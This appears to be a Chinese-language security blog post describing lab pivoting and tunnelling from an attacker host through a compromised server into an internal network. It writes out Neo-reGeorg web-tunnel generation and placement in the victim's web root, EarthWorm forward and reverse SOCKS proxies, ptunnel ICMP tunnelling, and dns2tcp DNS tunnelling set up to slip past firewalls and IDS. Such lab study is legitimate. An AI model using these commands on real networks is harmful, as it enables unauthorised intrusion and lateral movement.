代理和隧道技术


代理和隧道技术

neo-neoreg代理

黑客(192.168.3.134)——-(192.168.3.143)server1(172.16.1.105)—-(172.16.1.103)server2

在server1随便搭建一个网站

然后在黑客里下载neo-neoreg

python neoreg.py generate -k mima123

把制作好的东西扔进server1里的网站目录下

继续回到黑客主机里

python neoreg.py -k mima123 -u http://192.168.3.143/tunnel.php

然后打开浏览器,在代理里面设置代理

image-20220330095916789

earthworm代理

正向

在server1(windows)上放上这个软件

ew_for_Win.exe -s ssocksd -l 8888

黑客

nano /etc/proxychains
socks5 192.168.3.143 8888

反向

把server2上面的流量转发到中间人这边,再从中间人转到黑客

server1

ew -s rcsocks -l 1080 -e 1024

server2

ew -s rssocks -d 172.16.1.105 -e 1024

黑客

不用改动

icmp通道

黑客可以ping目标,但是无法建立tcp连接

黑客可以和server1,server1可以和server2通信

server1(linux)

apt install ptunnel
ptunnel -x 1234

黑客

ptunnel -p 192.168.3.143 -lp 8080 -da 172.16.1.103 -dp  80 -x 1234

dns隧道

大部分防火墙以及IPS,IDS不会过滤dns流量

黑客可以访问中间人,中间人只能和目标dns通信

dns2tcpd
-F 强制后台运行,默认在后台
-i 监听ip,默认0,0,0,0
-f 配置文件
-d debug级别

dns2tcpc
-c 启用压缩
-z 指定使用域名
-d 调式级别(1,2,3)
-r 访问目标资源
-f 配置文件路径
-l 本地监听端口
-T DNS请求类型,默认TXT

在vps服务商把udp53号端口打开,使用dns.xxx.com的A记录指向server1的ip

server1和黑客都要安装

apt install dns2tcp

黑客:

nano /etc/hosts
192.168.3.143 dns.xxx.com 

然后在server1里也设置

192.168.3.143 dns.xxx.com
nano /etc/dns2tcpd.conf
在文件里改
listen=0.0.0.0
key=haha123
domain=dns.xxx.com
启动隧道
dns2tcpd -f /etc/dns2tcpd.conf -F -d 3

然后转到黑客上

dns2tcpc -r ssh -k haha123 -z dns.xxx.com 192.168.3.143 -l 8888 -c -d 3
ssh -p 8888 127.0.0.1  就建立成了

文章作者: Broken-year
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Broken-year !
  目录